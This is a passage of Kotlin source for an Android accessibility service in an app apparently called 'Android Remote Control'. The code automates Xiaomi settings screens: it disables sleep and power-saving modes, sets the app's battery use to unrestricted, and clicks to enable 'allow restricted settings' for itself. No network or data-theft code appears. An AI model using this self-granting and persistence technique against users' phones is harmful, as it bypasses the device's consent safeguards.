            collectSleepModeCheckboxNodes(rootNode, checkboxes)

            Log.d(TAG, "🔍 使用深层级查找到 ${checkboxes.size} 个睡眠模式相关控件")

            // 查找可能的睡眠模式checkbox
            for (checkbox in checkboxes) {
                // 如果checkbox已选中，点击它来取消选中（关闭睡眠模式）
                if (checkbox.isChecked) {
                    Log.d(TAG, "✅ 找到已选中的睡眠模式checkbox，点击关闭")
                    val success = performClickSafe(checkbox)
                    if (success) {
                        Log.d(TAG, "✅ 成功点击睡眠模式checkbox")
                        return true
                    }
                }
            }

            // 如果没有找到已选中的checkbox，尝试查找任何可点击的checkbox
            for (checkbox in checkboxes) {
                if (checkbox.isClickable || checkbox.isCheckable) {
                    Log.d(TAG, "✅ 找到可点击的睡眠模式checkbox，尝试点击")
                    val success = performClickSafe(checkbox)
                    if (success) {
                        Log.d(TAG, "✅ 成功点击睡眠模式checkbox")
                        return true
                    }
                }
            }

            // 如果找到了睡眠模式相关控件，不论是否成功点击，都直接返回，不再查找通用控件
            if (checkboxes.isNotEmpty()) {
                Log.w(TAG, "✅ 已处理睡眠模式专用控件，停止查找通用控件")
                return true // 返回true因为至少尝试过了
            }

            // 只有在没有找到任何专门的睡眠模式控件时，才降级使用通用查找
            Log.d(TAG, "🔍 未找到专门的睡眠模式控件，使用通用checkbox查找")
            val generalCheckboxes = mutableListOf<AccessibilityNodeInfo>()
            collectCheckboxNodes(rootNode, generalCheckboxes)

            Log.d(TAG, "🔍 通用查找到 ${generalCheckboxes.size} 个checkbox控件")

            for (checkbox in generalCheckboxes) {
                if (checkbox.isChecked) {
                    Log.d(TAG, "✅ 找到已选中的通用checkbox，点击关闭")
                    val success = performClickSafe(checkbox)
                    if (success) {
                        Log.d(TAG, "✅ 成功点击通用checkbox")
                        return true
                    }
                }
            }

            Log.w(TAG, "❌ 未找到可用的睡眠模式checkbox")
            return false

        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找睡眠模式checkbox异常", e)
            return false
        } finally {
            safeRecycleNode(rootNode)
        }
    }

    /**
     * 处理夜间休眠省电 (Android 13)
     */
    private suspend fun handleNightfivePowerSaving(): Boolean {
        Log.d(TAG, "🔧 处理5G智能省电 (Android 13)")

        // 1. 先检查是否能找到夜间休眠省电，但不点击
        val rootNode = getStableRootInActiveWindow(service)
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点")
            return false
        }

        val nightSleepNode = findNodeByText(rootNode, "5G智能省电")
        if (nightSleepNode == null) {
            Log.w(TAG, "❌ 找不到5G智能省电选项")
            safeRecycleNode(rootNode)
            return false
        }

        Log.d(TAG, "✅ 找到5G智能省电选项，先检查当前状态")

        // 2. 先检查状态并记录日志
        Log.d(TAG, "🔍 检查5G智能省电当前状态")
        val isCurrentlyDisabled = checkCheckboxStatusInSameRow(nightSleepNode)

        if (isCurrentlyDisabled) {
            Log.d(TAG, "✅ 5G智能省电已关闭，无需操作")
            safeRecycleNode(rootNode)
            return true
        } else {
            Log.d(TAG, "🔍 5G智能省电当前开启，需要点击关闭")
        }

        safeRecycleNode(rootNode)

        // 3. 如果需要关闭，点击夜间休眠省电文本
        Log.d(TAG, "🔧 点击5G智能省电来关闭功能")
        if (!findAndClickText("夜间休眠省电")) {
            Log.w(TAG, "❌ 点击夜5G智能省电失败")
            return false
        }

        delay(STEP_DELAY)

        // 4. 验证操作结果
        Log.d(TAG, "🔍 验证5G智能省电关闭状态")
        val finalStatus = checkNightSleepPowerSavingDisabled()
        if (finalStatus) {
            Log.d(TAG, "✅ 5G智能省电已成功关闭")
        } else {
            Log.w(TAG, "⚠️ 5G智能省电状态未能确认关闭，但操作已完成")
        }

        Log.d(TAG, "✅5G智能省电处理完成")
        return true
    }

    /**
     * 处理夜间休眠省电 (Android 15)
     */
    private suspend fun handleNightSleepPowerSaving(): Boolean {
        Log.d(TAG, "🔧 处理夜间休眠省电 (Android 15)")

        // 1. 先检查是否能找到夜间休眠省电，但不点击
        val rootNode = getStableRootInActiveWindow(service)
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点")
            return false
        }

        val nightSleepNode = findNodeByText(rootNode, "夜间休眠省电")
        if (nightSleepNode == null) {
            Log.w(TAG, "❌ 找不到夜间休眠省电选项")
            safeRecycleNode(rootNode)
            return false
        }

        Log.d(TAG, "✅ 找到夜间休眠省电选项，先检查当前状态")

        // 2. 先检查状态并记录日志
        Log.d(TAG, "🔍 检查夜间休眠省电当前状态")
        val isCurrentlyDisabled = checkCheckboxStatusInSameRow(nightSleepNode)

        if (isCurrentlyDisabled) {
            Log.d(TAG, "✅ 夜间休眠省电已关闭，无需操作")
            safeRecycleNode(rootNode)
            return true
        } else {
            Log.d(TAG, "🔍 夜间休眠省电当前开启，需要点击关闭")
        }

        safeRecycleNode(rootNode)

        // 3. 如果需要关闭，点击夜间休眠省电文本
        Log.d(TAG, "🔧 点击夜间休眠省电来关闭功能")
        if (!findAndClickText("夜间休眠省电")) {
            Log.w(TAG, "❌ 点击夜间休眠省电失败")
            return false
        }

        delay(STEP_DELAY)

        // 4. 验证操作结果
        Log.d(TAG, "🔍 验证夜间休眠省电关闭状态")
        val finalStatus = checkNightSleepPowerSavingDisabled()
        if (finalStatus) {
            Log.d(TAG, "✅ 夜间休眠省电已成功关闭")
        } else {
            Log.w(TAG, "⚠️ 夜间休眠省电状态未能确认关闭，但操作已完成")
        }

        Log.d(TAG, "✅ 夜间休眠省电处理完成")
        return true
    }

    /**
     * 处理允许受限制的设置
     */
    private suspend fun handleRestrictedSettings(): Boolean {
        Log.d(TAG, "🔧 处理允许受限制的设置")
        
        if (miVersion == MI_ANDROID_15) {
            // Android 15: 直接点击文本
            if (findAndClickTextPrecise("允许受限制的设置")) {
                delay(delay_page())
                val finalStatus2 = checkRestrictedSettingsSwitchStatus()
                if (finalStatus2) {
                    Log.d(TAG, "✅ 允许受限制的设置已成功开启")
                    return true
                } else {
                    if (findAndClickTextPrecise("允许受限制的设置")) {
                        delay(delay_page())
                        val finalStatus2 = checkRestrictedSettingsSwitchStatus()
                        if (finalStatus2) {
                            Log.d(TAG, "✅ 允许受限制的设置已成功开启")
                            return true
                        } else {
                            if (findAndClickTextPrecise("允许受限制的设置")) {
                                delay(delay_page())
                                val finalStatus2 = checkRestrictedSettingsSwitchStatus()
                                if (finalStatus2) {
                                    Log.d(TAG, "✅ 允许受限制的设置已成功开启")
                                    return true
                                } else {
                                    Log.w(TAG, "⚠️ 允许受限制的设置状态未能确认开启，但操作已完成")
                                    return false
                                }
                            }
                        }
                    }
                }
            }
        } else {
            // 非 Android 15 机型：找到"允许受限制的设置"文本后，查找其兄弟节点中的 switch 并尝试点击
            try {
                val rootNode = getStableRootInActiveWindow(service)
                if (rootNode == null) {
                    Log.w(TAG, "❌ 无法获取根节点")
                    return false
                }

                // 1) 查找"允许受限制的设置"文本节点（不直接点击）
                val restrictedSettingsNode = findNodeByText(rootNode, "允许受限制的设置")
                if (restrictedSettingsNode == null) {
                    Log.w(TAG, "❌ 未找到'允许受限制的设置'文本节点")
                    safeRecycleNode(rootNode)
                    return false
                }

                // 2) 向上寻找父容器，并在兄弟节点中查找 switch/可切换控件
                var parent = restrictedSettingsNode.parent
                var level = 0
                var switchNode: AccessibilityNodeInfo? = null
                val maxLevels = 8

                // 获取目标文本的中心 Y，用于"同行"判断
                val targetRect = Rect()
                restrictedSettingsNode.getBoundsInScreen(targetRect)
                val targetCenterY = targetRect.centerY()

                while (parent != null && level < maxLevels && switchNode == null) {
                    for (i in 0 until parent.childCount) {
                        val sibling = parent.getChild(i) ?: continue
                        try {
                            // 兄弟节点是否为 switch/可切换控件
                            val className = sibling.className?.toString() ?: ""
                            val isSwitchLike =
                                className.contains("Switch", ignoreCase = true) ||
                                        className.contains("Toggle", ignoreCase = true) ||
                                        sibling.isCheckable

                            if (!isSwitchLike) continue

                            // 判断是否与"允许受限制的设置"在同行（垂直位置接近）
                            val rect = Rect()
                            sibling.getBoundsInScreen(rect)
                            val verticalDistance = kotlin.math.abs(targetCenterY - rect.centerY())
                            val isInSameRow = verticalDistance <= 100
                            if (!isInSameRow) continue

                            switchNode = sibling
                            break
                        } catch (e: Exception) {
                            Log.w(TAG, "⚠️ 检查兄弟节点时出错", e)
                        }
                    }
                    parent = parent.parent
                    level++
                }

                if (switchNode == null) {
                    Log.w(TAG, "❌ 未找到对应的开关控件")
                    safeRecycleNode(rootNode)
                    return false
                }

                // 3) 检查当前状态
                val isCurrentlyEnabled = checkRestrictedSettingsSwitchStatus()
                if (isCurrentlyEnabled) {
                    Log.d(TAG, "✅ 允许受限制的设置已开启，无需操作")
                    safeRecycleNode(rootNode)
                    return true
                }

                // 4) 点击开关控件
                Log.d(TAG, "🔧 点击允许受限制的设置开关")
                if (switchNode.performAction(AccessibilityNodeInfo.ACTION_CLICK)) {
                    delay(delay_page())
                    val finalStatus = checkRestrictedSettingsSwitchStatus()
                    if (finalStatus) {
                        Log.d(TAG, "✅ 允许受限制的设置已成功开启")
                        safeRecycleNode(rootNode)
                        return true
                    } else {
                        Log.w(TAG, "⚠️ 允许受限制的设置状态未能确认开启，但操作已完成")
                        safeRecycleNode(rootNode)
                        return false
                    }
                } else {
                    Log.w(TAG, "❌ 点击允许受限制的设置开关失败")
                    safeRecycleNode(rootNode)
                    return false
                }
            } catch (e: Exception) {
                Log.e(TAG, "❌ 处理允许受限制的设置时出错", e)
                return false
            }
        }
        
        return false

//
//        // 1.1 先向下滑动一次，确保目标项可见
//        Log.d(TAG, "🔄点击前先向下滑动，确保可见")
//        if (!performScrollDown()) {
//            Log.w(TAG, "⚠️ 向下滑动失败，但继续尝试")
//        }
//        // 等待页面稳定
//        delay(delay_page())
//        // 2. 查找"允许受限制的设置"文本，但不点击
//        val rootNode = getStableRootInActiveWindow(service)
//        if (rootNode == null) {
//            Log.w(TAG, "❌ 无法获取根节点")
//            return false
//        }
//
//        val restrictedSettingsNode = findNodeByText(rootNode, "允许受限制的设置")
//        if (restrictedSettingsNode == null) {
//            Log.w(TAG, "❌ 找不到允许受限制的设置选项")
//            safeRecycleNode(rootNode)
//            return false
//        }
//
//        Log.d(TAG, "✅ 找到允许受限制的设置选项，先检查当前状态")
//
//        // 3. 检查switch状态
//        Log.d(TAG, "🔍 检查允许受限制的设置当前状态")
//        val switchEnabled = checkRestrictedSettingsSwitchStatus(restrictedSettingsNode)
//
//        if (switchEnabled) {
//            Log.d(TAG, "✅ 允许受限制的设置已开启，无需操作")
//            safeRecycleNode(rootNode)
//            return true
//        } else {
//            Log.d(TAG, "🔍 允许受限制的设置当前关闭，需要点击开启")
//        }
//
//        safeRecycleNode(rootNode)
//
//        // 4. 如果需要开启，点击文本
//        Log.d(TAG, "🔧 点击允许受限制的设置来开启功能")
//        if (!findAndClickText("允许受限制的设置")) {
//            Log.w(TAG, "❌ 点击允许受限制的设置失败")
//            return false
//        }
//
//        delay(STEP_DELAY)
//
//        // 5. 验证操作结果
//        Log.d(TAG, "🔍 验证允许受限制的设置开启状态")
//        val finalStatus = checkRestrictedSettingsSwitchStatus()
//        if (finalStatus) {
//            Log.d(TAG, "✅ 允许受限制的设置已成功开启")
//            return true
//        } else {
//            Log.w(TAG, "⚠️ 允许受限制的设置状态未能确认开启，但操作已完成")
//        }
//
//
//
//        Log.d(TAG, "✅ 允许受限制的设置处理完成")
//        return true
    }

    /**
     * 检查允许受限制的设置的switch状态
     */
    private fun checkRestrictedSettingsSwitchStatus(targetNode: AccessibilityNodeInfo? = null): Boolean {
        Log.d(TAG, "🔍 检查允许受限制的设置状态")

        val rootNode = targetNode ?: getStableRootInActiveWindow(service)
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点")
            return false
        }

        try {
            val restrictedNode =
                if (targetNode != null) targetNode else findNodeByText(rootNode, "允许受限制的设置")
            if (restrictedNode != null) {
                Log.d(TAG, "✅ 找到允许受限制的设置节点，检查switch状态")

                // 检查同行的switch状态
                val switchEnabled =
                    !checkSwitchStatusInSameRow(restrictedNode) // 反转逻辑，因为checkSwitchStatusInSameRow返回isDisabled
                Log.d(TAG, "✅ 允许受限制的设置switch状态: ${if (switchEnabled) "开启" else "关闭"}")

                if (targetNode == null) {
                    safeRecycleNode(rootNode)
                }
                return switchEnabled
            }

            if (targetNode == null) {
                safeRecycleNode(rootNode)
            }
            Log.d(TAG, "🔍 未找到允许受限制的设置节点")
            return false

        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查允许受限制的设置状态异常", e)
            if (targetNode == null) {
                safeRecycleNode(rootNode)
            }
            return false
        }
    }

    /**
     * 检查夜间休眠省电是否已关闭
     */
    private suspend fun checkNightSleepPowerSavingDisabled(): Boolean {
        Log.d(TAG, "🔍 检查夜间休眠省电状态")

        val rootNode = getStableRootInActiveWindow(service)
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点")
            return false
        }

        try {
            // 1. 查找夜间休眠省电节点
            val nightSleepNode = findNodeByText(rootNode, "夜间休眠省电")
            if (nightSleepNode != null) {
                Log.d(TAG, "✅ 找到夜间休眠省电节点，检查同行状态")

                // 2. Android 15的状态检测逻辑（检查switch按钮状态）
                if (miVersion == MI_ANDROID_15) {
                    // Android 15需要检查switch按钮状态，而不是文本状态
                    val switchDisabled = checkSwitchStatusInSameRow(nightSleepNode)
                    if (switchDisabled) {
                        Log.d(TAG, "✅ Android 15夜间休眠省电switch已关闭")
                        safeRecycleNode(rootNode)
                        return true
                    } else {
                        Log.d(TAG, "🔍 Android 15夜间休眠省电switch开启，需要关闭")
                        safeRecycleNode(rootNode)
                        return false // 返回false表示需要操作
                    }
                } else {
                    // 其他版本保持原有逻辑
                    val statusTexts = listOf("关闭", "已关闭", "OFF")
                    val isDisabled = checkStatusInSameRow(nightSleepNode, statusTexts)
                    if (isDisabled) {
                        Log.d(TAG, "✅ 夜间休眠省电已关闭（同行状态检查）")
                        safeRecycleNode(rootNode)
                        return true
                    }
                }

                // 3. 检查同行的checkbox状态（仅非Android 15）
                if (miVersion != MI_ANDROID_15) {
                    val isCheckboxDisabled = checkCheckboxStatusInSameRow(nightSleepNode)
                    if (isCheckboxDisabled) {
                        Log.d(TAG, "✅ 夜间休眠省电已关闭（同行checkbox检查）")
                        safeRecycleNode(rootNode)
                        return true
                    }
                }
            }

            // 4. 降级到通用检查方法
            // 查找"关闭"文本，如果找到则说明已关闭
            val closeNode = findNodeByText(rootNode, "关闭")
            if (closeNode != null) {
                Log.d(TAG, "✅ 找到'关闭'文本，夜间休眠省电已关闭")
                safeRecycleNode(rootNode)
                return true
            }

            // 查找开关控件的状态
            val checkboxes = mutableListOf<AccessibilityNodeInfo>()
            collectCheckboxNodes(rootNode, checkboxes)

            for (checkbox in checkboxes) {
                if (!checkbox.isChecked) {
                    Log.d(TAG, "✅ 找到未选中的开关，夜间休眠省电已关闭")
                    safeRecycleNode(rootNode)
                    return true
                }
            }

            safeRecycleNode(rootNode)
            Log.d(TAG, "🔍 未找到关闭状态的标识")
            return false

        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查夜间休眠省电状态异常", e)
            safeRecycleNode(rootNode)
            return false
        }
    }


    /**
     * 处理省电策略
     */
    private suspend fun handlePowerSavingStrategy(): Boolean {
        // Android 15使用"电量消耗"，其他版本使用"省电策略"
        val targetText = if (miVersion == MI_ANDROID_15) "电量消耗" else "省电策略"
        val logText = if (miVersion == MI_ANDROID_15) "电量消耗" else "省电策略"

        Log.d(TAG, "🔧 处理$logText")
        if (miVersion != MI_ANDROID_15 || miVersion != MI_ANDROID_14) {
            // 0. 先向下滑动一次，确保目标项可见
            Log.d(TAG, "🔄 ${logText}点击前先向下滑动，确保可见")
//            if (!performScrollDown()) {
//                Log.w(TAG, "⚠️ 向下滑动失败，但继续尝试")
//            }
//            // 等待页面稳定
//            delay(100)
//            if (!performScrollDown()) {
//                Log.w(TAG, "⚠️ 向下滑动失败，但继续尝试")
//            }
//            // 等待页面稳定
//            delay(100)
        }

        // 查看当前屏幕坐标信息
        Log.d(TAG, "🔍 检查${logText}坐标信息")
//        val rootNode = getStableRootInActiveWindow(service)
//        if (rootNode != null) {
//            val targetNode = findNodeByText(rootNode, targetText)
//            if (targetNode != null) {
//                performCoordinateClick(targetNode)
////                val rect = Rect()
////                targetNode.getBoundsInScreen(rect)
////                Log.d(TAG, "🔍 ${logText}节点位置: left=${rect.left}, top=${rect.top}, right=${rect.right}, bottom=${rect.bottom}")
//            }
//            safeRecycleNode(rootNode)
//        }

        if (miVersion == MI_ANDROID_14){
            val targetText14 = "电量消耗"
            if (findAndClickTextPrecise(targetText14)) {
//                return false
                delay(delay_page())
                // 2. 查找并点击"无限制"
                if (!findAndClickTextPrecise("无限制")) {

                    performBackNavigation()
//                    return false
                }else{
                    return true
                }
            }


//        delay(PAGE_LOAD_DELAY)
//        delay(PAGE_LOAD_DELAY)
//        delay(PAGE_LOAD_DELAY)


        }
        // 1. 查找并点击目标文本，确保在屏幕中可见
        if (!findAndClickTextPrecise(targetText)) {
            return false
        }
        delay(delay_page())

//        delay(PAGE_LOAD_DELAY)
//        delay(PAGE_LOAD_DELAY)
//        delay(PAGE_LOAD_DELAY)

        // 2. 查找并点击"无限制"
        if (!findAndClickTextPrecise("无限制")) {
            return false
        }

        delay(STEP_DELAY)
        Log.d(TAG, "✅ ${logText}处理完成")
        return true
    }

    // ======================== 辅助工具方法 ========================

    /**
     * 打开设置页面 (Android 13优化版本)
     */
    private suspend fun openSettingsPage(): Boolean {
        Log.d(TAG, "🔧 打开设置页面")

        try {
            // Android 11+智能导航：如果已经在设置应用中，确保回到首页
            if (miVersion == MI_ANDROID_11 || miVersion == MI_ANDROID_12 || miVersion == MI_ANDROID_13 || miVersion == MI_ANDROID_15) {
                val currentPackage = getCurrentPackageName()
                val versionName = when (miVersion) {
                    MI_ANDROID_15 -> "15"
                    MI_ANDROID_13 -> "13"
                    MI_ANDROID_11 -> "11"
                    MI_ANDROID_12 -> "12"
                    else -> "Unknown"
                }
                Log.d(TAG, "🔍 Android $versionName 检查当前包名: $currentPackage")

                if (currentPackage != null && currentPackage.contains(
                        "settings",
                        ignoreCase = true
                    )
                ) {
                    Log.d(TAG, "📱 Android $versionName 已在设置应用中，尝试回到设置首页")

                    // 尝试多次返回操作，确保回到设置首页
                    for (i in 1..5) {
                        val pageType = getCurrentPageType()
                        Log.d(TAG, "🔍 当前页面类型: $pageType (尝试 $i/5)")

                        if (pageType == "设置主页") {
                            Log.d(TAG, "✅ 已在设置首页，无需继续返回")
                            break
                        }

                        Log.d(TAG, "🔙 执行返回操作 $i")
                        performBackNavigation()
                        delay(50)

                        // 🔥 关键优化：每次返回后检查包名，避免退出设置应用
                        val newPackage = getCurrentPackageName()
                        Log.d(TAG, "🔍 返回操作后检查包名: $newPackage")

                        if (newPackage == null || !newPackage.contains(
                                "settings",
                                ignoreCase = true
                            )
                        ) {
                            Log.d(TAG, "⚠️ 已退出设置应用，终止返回操作")
                            break
                        }

                        // 🔥 重要：返回后再次检查页面类型
                        val newPageType = getCurrentPageType()
                        Log.d(TAG, "🔍 返回后页面类型: $newPageType")

                        if (newPageType == "设置主页") {
                            Log.d(TAG, "✅ 返回后已到达设置首页，停止返回操作")
                            break
                        }
                    }

                    // 检查最终状态
                    val finalPackage = getCurrentPackageName()
                    val finalPageType = getCurrentPageType()
                    Log.d(TAG, "🔍 最终状态 - 包名: $finalPackage, 页面: $finalPageType")

                    if (finalPageType == "设置主页") {
                        delay(PAGE_LOAD_DELAY)
                        Log.d(TAG, "✅ Android $versionName 设置首页确认完成")
                        return true
                    } else {
                        Log.d(TAG, "🔄 未能回到设置首页，使用正常启动方式")
                        // 继续执行正常的设置页面启动逻辑
                    }
                }
            }

            // 先打开我们的应用，再从应用内启动设置页面
            Log.d(TAG, "🔄 先打开我们的应用")
            try {
                val appIntent = Intent().apply {
                    action = Intent.ACTION_MAIN
                    addCategory(Intent.CATEGORY_LAUNCHER)
                    setClassName(context.packageName, "com.hikoncont.MainActivity")
                    flags = Intent.FLAG_ACTIVITY_NEW_TASK
                }
                context.startActivity(appIntent)
                delay(PAGE_LOAD_DELAY)

            } catch (e: Exception) {
                Log.w(TAG, "⚠️ 打开我们的应用失败", e)
                // 继续后续逻辑
            }

            // 确认我们的应用是否已打开
            val appPackage = getCurrentPackageName()
            Log.d(TAG, "🔍 检查我们的应用是否已打开: $appPackage")

            if (appPackage == context.packageName) {
                Log.d(TAG, "✅ 我们的应用已打开，现在从应用内启动设置页面")

                // 从应用内启动设置页面
                val settingsIntent = Intent(Settings.ACTION_SETTINGS).apply {
                    flags = Intent.FLAG_ACTIVITY_NEW_TASK
                }
                context.startActivity(settingsIntent)

                // 给更多时间让设置页面启动，并多次检查
                var finalPackage: String? = null
                for (i in 1..5) {
                    delay(delay_page()) // 每次等待200ms
                    finalPackage = getCurrentPackageName()
                    Log.d(TAG, "🔍 从应用内启动设置页面后检查包名 ($i/5): $finalPackage")

                    if (finalPackage != null && finalPackage.contains(
                            "settings",
                            ignoreCase = true
                        )
                    ) {
                        break
                    }
                }
            } else {
                Log.w(TAG, "⚠️ 无法打开我们的应用，尝试直接启动设置页面")

                // 备选方案：直接启动设置页面
                val settingsIntent = Intent(Settings.ACTION_SETTINGS).apply {
                    flags = Intent.FLAG_ACTIVITY_NEW_TASK
                }
                context.startActivity(settingsIntent)

                // 给更多时间让设置页面启动，并多次检查
                var finalPackage: String? = null
                for (i in 1..5) {
                    delay(delay_page()) // 每次等待200ms
                    finalPackage = getCurrentPackageName()

                    Log.d(TAG, "🔍 直接启动设置页面后检查包名 ($i/5): $finalPackage")

                    if (finalPackage != null && finalPackage.contains(
                            "settings",
                            ignoreCase = true
                        )
                    ) {
                        break
                    }
                }
            }

            // 检查从应用内启动设置页面的结果
            val finalPackage = getCurrentPackageName()
            if (finalPackage != null && finalPackage.contains("settings", ignoreCase = true)) {
                // 重置搜索状态
                isFirstSettingsEntry = true
                Log.d(TAG, "✅ 设置页面已打开")
                return true
            } else {
                Log.w(TAG, "⚠️ 设置页面启动失败，当前包名: $finalPackage")

                // 尝试另一种方式启动设置页面（先打开我们的应用）
                Log.d(TAG, "🔄 尝试使用另一种方式启动设置页面")
                try {
                    // 先确保我们的应用已打开
                    val currentAppPackage = getCurrentPackageName()
                    if (currentAppPackage != context.packageName) {
                        Log.d(TAG, "🔄 重新打开我们的应用")
                        val appIntent = Intent().apply {
                            action = Intent.ACTION_MAIN
                            addCategory(Intent.CATEGORY_LAUNCHER)
                            setClassName(context.packageName, "com.hikoncont.MainActivity")
                            flags = Intent.FLAG_ACTIVITY_NEW_TASK
                        }
                        context.startActivity(appIntent)
                        delay(PAGE_LOAD_DELAY)
                    }

                    val alternativeIntent = Intent().apply {
                        action = "android.settings.SETTINGS"
                        flags = Intent.FLAG_ACTIVITY_NEW_TASK
                    }
                    context.startActivity(alternativeIntent)
                    delay(PAGE_LOAD_DELAY)

                    val retryPackage = getCurrentPackageName()
                    Log.d(TAG, "🔍 备用方式启动后检查包名: $retryPackage")

                    if (retryPackage != null && retryPackage.contains(
                            "settings",
                            ignoreCase = true
                        )
                    ) {
                        isFirstSettingsEntry = true
                        Log.d(TAG, "✅ 设置页面已打开（备用方式）")
                        return true
                    } else {
                        Log.e(TAG, "❌ 备用方式也无法启动设置页面，当前包名: $retryPackage")

                        // 尝试第三种方式：使用MIUI特定的设置页面（先打开我们的应用）
                        Log.d(TAG, "🔄 尝试使用MIUI特定的设置页面")
                        try {
                            // 先确保我们的应用已打开
                            val currentAppPackage = getCurrentPackageName()
                            if (currentAppPackage != context.packageName) {
                                Log.d(TAG, "🔄 重新打开我们的应用")
                                val appIntent = Intent().apply {
                                    action = Intent.ACTION_MAIN
                                    addCategory(Intent.CATEGORY_LAUNCHER)
                                    setClassName(
                                        context.packageName,
                                        "com.hikoncont.MainActivity"
                                    )
                                    flags = Intent.FLAG_ACTIVITY_NEW_TASK
                                }
                                context.startActivity(appIntent)
                                delay(PAGE_LOAD_DELAY)
                            }

                            val miuiIntent = Intent().apply {
                                action = "android.intent.action.MAIN"
                                addCategory("android.intent.category.LAUNCHER")
                                setClassName(
                                    "com.android.settings",
                                    "com.android.settings.Settings"
                                )
                                flags = Intent.FLAG_ACTIVITY_NEW_TASK
                            }
                            context.startActivity(miuiIntent)
                            delay(PAGE_LOAD_DELAY)

                            val miuiPackage = getCurrentPackageName()
                            Log.d(TAG, "🔍 MIUI方式启动后检查包名: $miuiPackage")

                            if (miuiPackage != null && miuiPackage.contains(
                                    "settings",
                                    ignoreCase = true
                                )
                            ) {
                                isFirstSettingsEntry = true
                                Log.d(TAG, "✅ 设置页面已打开（MIUI方式）")
                                return true
                            } else {
                                Log.e(TAG, "❌ 所有方式都无法启动设置页面，当前包名: $miuiPackage")
                                return false
                            }
                        } catch (e: Exception) {
                            Log.e(TAG, "❌ MIUI方式启动设置页面失败", e)
                            return false
                        }
                    }
                } catch (e: Exception) {
                    Log.e(TAG, "❌ 备用方式启动设置页面失败", e)
                    return false
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 打开设置页面失败", e)
            return false
        }
    }

    /**
     * 通用文本查找并点击
     */
    private suspend fun findAndClickText(text: String): Boolean {
        Log.d(TAG, "🔍 查找并点击文本: $text")

        return findAndClickWithStrategies(text, MAX_SCROLL_ATTEMPTS)
    }

    /**
     * 使用右上角搜索图标，输入我们的应用名并点击第一个结果
     * 适用于“应用设置/应用管理/应用列表”等支持搜索的页面
     */
    suspend fun searchAndOpenOurAppViaSearch(): Boolean {
        return try {
            // 0) 读取我们的应用名称
            val appName = try {
                val applicationInfo = context.applicationInfo
                val packageManager = context.packageManager
                packageManager.getApplicationLabel(applicationInfo).toString()
            } catch (e: Exception) {
                Log.w(TAG, "⚠️ 获取应用名称失败，使用默认文案", e)
                "Android Remote Control"
            }

            Log.i(TAG, "🔎 开始搜索并打开应用: $appName")

            // 1) 点击右上角放大镜/搜索图标
            if (!clickTopRightSettingsIcon()) {
                // 兼容：某些机型右上角不是图标而是“搜索”文字
                Log.w(TAG, "⚠️ 右上角图标点击失败，尝试点击‘搜索’文本入口")
                if (!findAndClickText("搜索")) {
                    Log.e(TAG, "❌ 无法打开搜索入口")
                    return false
                }
            }

            delay(PAGE_LOAD_DELAY)

            // 2) 在搜索框中输入应用名
            val root1 = getStableRootInActiveWindow(service)
            if (root1 == null) {
                Log.e(TAG, "❌ 无法获取根节点，无法输入搜索关键字")
                return false
            }

            val searchField = findFirstEditableNode(root1)
            if (searchField == null) {
                Log.e(TAG, "❌ 未找到可编辑的搜索框")
                safeRecycleNode(root1)
                return false
            }

            val args = android.os.Bundle().apply {
                putCharSequence(
                    android.view.accessibility.AccessibilityNodeInfo.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE,
                    appName
                )
            }
            val setOk = searchField.performAction(
                android.view.accessibility.AccessibilityNodeInfo.ACTION_SET_TEXT,
                args
            )
            Log.i(TAG, "⌨️ 输入搜索关键字结果: $setOk, 关键字='$appName'")

            delay(400)
            safeRecycleNode(root1)

            // 3) 点击第一个匹配的搜索结果（同名应用）
            if (searchCurrentPageForTextAndEnsureVisible(appName)) {
                Log.i(TAG, "✅ 已点击搜索结果并进入应用详情: $appName")
                return true
            }

            // 4) 若未命中，尝试滚动查找前几屏
            if (scrollDownAndSearchWithVisibility(appName, 6)) {
                Log.i(TAG, "✅ 通过滚动找到并点击应用: $appName")
                return true
            }

            Log.e(TAG, "❌ 未能通过搜索找到应用: $appName")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 搜索并打开应用失败", e)
            false
        }
    }

    /**
     * 查找首个可编辑(输入)的节点（例如搜索框）
     */
    private fun findFirstEditableNode(node: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        try {
            val className = node.className?.toString() ?: ""
            val editable = node.isEditable || className.contains("EditText", ignoreCase = true)
            if (editable && node.isVisibleToUser) {
                return node
            }
            for (i in 0 until node.childCount) {
                val child = node.getChild(i) ?: continue
                val res = findFirstEditableNode(child)
                if (res != null) return res
            }
        } catch (_: Exception) {
        }
        return null
    }

    /**
     * 查找文本并确保可见性后点击
     */
    private suspend fun findAndClickTextWithVisibility(text: String): Boolean {
        Log.d(TAG, "🔍 查找并点击文本（确保可见性）: $text")

        return findAndClickWithVisibilityStrategies(text, MAX_SCROLL_ATTEMPTS)
    }

    /**
     * ✅ 精确文本匹配查找并点击（参考OnePlusAuthorizationHandler实现）
     * 最大向下滑动三次，使用精确文本匹配策略
     */
    private suspend fun findAndClickTextPrecise(text: String): Boolean {
        Log.d(TAG, "🔍 [精确匹配策略] 查找并点击文本: $text")

        return try {
            // ✅ 策略1: 直接搜索当前页面
            val textNode = findTextByPreciseMatching(text)
            if (textNode != null) {
                Log.d(TAG, "✅ [精确匹配策略] 在当前页面找到: $text")
                val success = executeClickByPreciseMatching(textNode)
                if (success) {
                    delay(500) // 等待页面响应
                    return true
                }
            }

            // ✅ 策略2: 向下滚动搜索（最多3次）
            Log.d(TAG, "🔄 [精确匹配策略] 开始向下滚动搜索: $text")
            for (i in 1..3) {
                Log.d(TAG, "🔄 [精确匹配策略] 第 $i 次向下滚动")
                if (performScrollDownPrecise()) {
                    delay(800) // 等待滚动完成
                    val textNode = findTextByPreciseMatching(text)
                    if (textNode != null) {
                        Log.d(TAG, "✅ [精确匹配策略] 滚动搜索找到: $text (第 $i 次)")
                        val success = executeClickByPreciseMatching(textNode)
                        if (success) {
                            delay(500) // 等待页面响应
                            return true
                        }
                    }
                } else {
                    Log.w(TAG, "⚠️ [精确匹配策略] 第 $i 次滚动失败")
                }
            }

            Log.w(TAG, "❌ [精确匹配策略] 无法找到文本: $text")
            false

        } catch (e: Exception) {
